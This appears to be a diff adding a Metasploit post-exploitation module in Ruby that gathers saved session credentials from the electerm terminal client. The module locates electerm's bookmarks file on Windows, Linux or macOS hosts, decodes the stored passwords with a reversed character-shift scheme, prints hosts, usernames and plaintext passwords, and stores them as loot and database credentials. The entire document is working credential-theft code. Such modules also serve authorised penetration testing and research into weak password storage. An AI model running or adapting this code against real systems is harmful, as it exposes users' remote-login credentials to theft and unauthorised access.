|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | +require 'json' |
| 6 | +class MetasploitModule < Msf::Post |
| 7 | + include Msf::Post::File |
| 8 | + |
| 9 | + def initialize(info = {}) |
| 10 | + super( |
| 11 | + update_info( |
| 12 | + info, |
| 13 | + 'Name' => 'Gather electerm Passwords', |
| 14 | + 'Description' => %q{ |
| 15 | + This module will determine if electerm is installed on the target system and, if it is, it will try to |
| 16 | + dump all saved session information from the target. The passwords for these saved sessions will then be decrypted |
| 17 | + where possible. |
| 18 | + }, |
| 19 | + 'License' => MSF_LICENSE, |
| 20 | + 'References' => [ |
| 21 | + [ 'URL', 'https://blog.kali-team.cn/metasploit-electerm-6854f3d868eb45eab6951acc463a910d' ] |
| 22 | + ], |
| 23 | + 'Author' => ['Kali-Team <kali-team[at]qq.com>'], |
| 24 | + 'Platform' => [ 'linux', 'win', 'osx', 'unix'], |
| 25 | + 'SessionTypes' => [ 'meterpreter', 'shell', 'powershell' ], |
| 26 | + 'Notes' => { |
| 27 | + 'Stability' => [], |
| 28 | + 'Reliability' => [], |
| 29 | + 'SideEffects' => [] |
| 30 | + } |
| 31 | + ) |
| 32 | + ) |
| 33 | + register_options( |
| 34 | + [ |
| 35 | + OptString.new('BOOKMARKS_FILE_PATH', [ false, 'Specifies the electerm.bookmarks.nedb file path for electerm']), |
| 36 | + ] |
| 37 | + ) |
| 38 | + end |
| 39 | + |
| 40 | + # Decrypt password https://github.com/electerm/electerm/blob/master/src/app/common/pass-enc.js |
| 41 | + def dec_electrm_password(enc) |
| 42 | + result = enc.chars.map.with_index do |s, i| |
| 43 | + ((s.ord - i - 1 + 65536) % 65536).chr |
| 44 | + end.join |
| 45 | + return result |
| 46 | + end |
| 47 | + |
| 48 | + def print_and_save(all_result) |
| 49 | + pw_tbl = Rex::Text::Table.new( |
| 50 | + 'Header' => 'electerm Password', |
| 51 | + 'Columns' => [ |
| 52 | + 'Title', |
| 53 | + 'Type', |
| 54 | + 'Host', |
| 55 | + 'Port', |
| 56 | + 'Username', |
| 57 | + 'Password', |
| 58 | + 'Description', |
| 59 | + ] |
| 60 | + ) |
| 61 | + all_result.each do |value| |
| 62 | + next if !value.key?('username') || !value.key?('password') |
| 63 | + |
| 64 | + row = [] |
| 65 | + row << value['title'] || '' |
| 66 | + row << value.fetch('type', 'ssh') |
| 67 | + row << value['host'] || '' |
| 68 | + row << value['port'] || '' |
| 69 | + row << value['username'] || '' |
| 70 | + row << value['password'] || '' |
| 71 | + row << value['description'] || '' |
| 72 | + pw_tbl << row |
| 73 | + config = { |
| 74 | + type: value['type'], |
| 75 | + host: value['host'], |
| 76 | + port: value['port'], |
| 77 | + username: value['username'], |
| 78 | + password: value['password'] |
| 79 | + } |
| 80 | + electerm_store_config(config) |
| 81 | + end |
| 82 | + if pw_tbl.rows.count > 0 |
| 83 | + path = store_loot('host.electerm', 'text/plain', session, pw_tbl, 'electerm.txt', 'electerm Password') |
| 84 | + print_good("Passwords stored in: #{path}") |
| 85 | + print_good(pw_tbl.to_s) |
| 86 | + end |
| 87 | + end |
| 88 | + |
| 89 | + def electerm_store_config(config) |
| 90 | + service_data = { |
| 91 | + address: config[:host], |
| 92 | + port: config[:port], |
| 93 | + service_name: config[:type], |
| 94 | + protocol: 'tcp', |
| 95 | + workspace_id: myworkspace_id |
| 96 | + } |
| 97 | + |
| 98 | + credential_data = { |
| 99 | + origin_type: :session, |
| 100 | + session_id: session_db_id, |
| 101 | + post_reference_name: refname, |
| 102 | + private_type: :password, |
| 103 | + private_data: config[:password], |
| 104 | + username: config[:username] |
| 105 | + }.merge(service_data) |
| 106 | + |
| 107 | + credential_core = create_credential(credential_data) |
| 108 | + |
| 109 | + login_data = { |
| 110 | + core: credential_core, |
| 111 | + status: Metasploit::Model::Login::Status::UNTRIED |
| 112 | + }.merge(service_data) |
| 113 | + |
| 114 | + create_credential_login(login_data) |
| 115 | + end |
| 116 | + |
| 117 | + def parse_jsonlines(line) |
| 118 | + result_hashmap = Hash.new |
| 119 | + begin |
| 120 | + result_hashmap = JSON.parse(line) |
| 121 | + rescue ::JSON::ParserError => e |
| 122 | + raise Error::ParserError, "[parse_bookmarks] #{e.class} - #{e}" |
| 123 | + end |
| 124 | + if result_hashmap.key?('password') && result_hashmap.key?('passwordEncrypted') |
| 125 | + result_hashmap['password'] = dec_electrm_password(result_hashmap['password']) |
| 126 | + end |
| 127 | + return result_hashmap |
| 128 | + end |
| 129 | + |
| 130 | + def parse_json(bookmarks_path) |
| 131 | + some_result = [] |
| 132 | + if session.platform == 'windows' |
| 133 | + bookmarks_path.gsub!('/') { '\\' } |
| 134 | + end |
| 135 | + begin |
| 136 | + if file_exist?(bookmarks_path) |
| 137 | + nedb_data = read_file(bookmarks_path) || '' |
| 138 | + print_error('The file could not be read') if nedb_data.empty? |
| 139 | + nedb_data.each_line do |line| |
| 140 | + some_result << parse_jsonlines(line) |
| 141 | + end |
| 142 | + credentials_config_loot_path = store_loot('host.electerm.creds', 'text/json', session, JSON.pretty_generate(some_result), bookmarks_path) |
| 143 | + print_good("electerm electerm.bookmarks.nedb saved to #{credentials_config_loot_path}") |
| 144 | + print_status("Finished processing #{bookmarks_path}") |
| 145 | + else |
| 146 | + print_error("Cannot find file #{bookmarks_path}") |
| 147 | + end |
| 148 | + rescue StandardError => e |
| 149 | + print_error("Error when parsing #{bookmarks_path}: #{e}") |
| 150 | + end |
| 151 | + return some_result |
| 152 | + end |
| 153 | + |
| 154 | + def get_bookmarks_path |
| 155 | + bookmarks_dir = '' |
| 156 | + case session.platform |
| 157 | + when 'windows' |
| 158 | + app_data = get_env('AppData') |
| 159 | + if app_data.present? |
| 160 | + bookmarks_dir = app_data + '\electerm\users\default_user' |
| 161 | + end |
| 162 | + when 'linux', 'osx', 'unix' |
| 163 | + home = get_env('HOME') |
| 164 | + if home.present? |
| 165 | + bookmarks_dir = home + '/.config/electerm/users/default_user' |
| 166 | + end |
| 167 | + end |
| 168 | + bookmarks_path = File.join(bookmarks_dir, 'electerm.bookmarks.nedb') |
| 169 | + return bookmarks_path |
| 170 | + end |
| 171 | + |
| 172 | + def run |
| 173 | + print_status('Gather electerm Passwords') |
| 174 | + all_result = [] |
| 175 | + bookmarks_path = '' |
| 176 | + if datastore['BOOKMARKS_FILE_PATH'].present? |
| 177 | + bookmarks_path = datastore['BOOKMARKS_FILE_PATH'] |
| 178 | + print_status("Looking for JSON files in #{bookmarks_path}") |
| 179 | + all_result += parse_json(bookmarks_path) |
| 180 | + end |
| 181 | + if bookmarks_path.empty? |
| 182 | + bookmarks_path = get_bookmarks_path |
| 183 | + if !bookmarks_path.blank? |
| 184 | + result = parse_json(bookmarks_path) |
| 185 | + if !result.empty? |
| 186 | + all_result += result |
| 187 | + end |
| 188 | + end |
| 189 | + end |
| 190 | + print_and_save(all_result) |
| 191 | + end |
| 192 | +end |
0 commit comments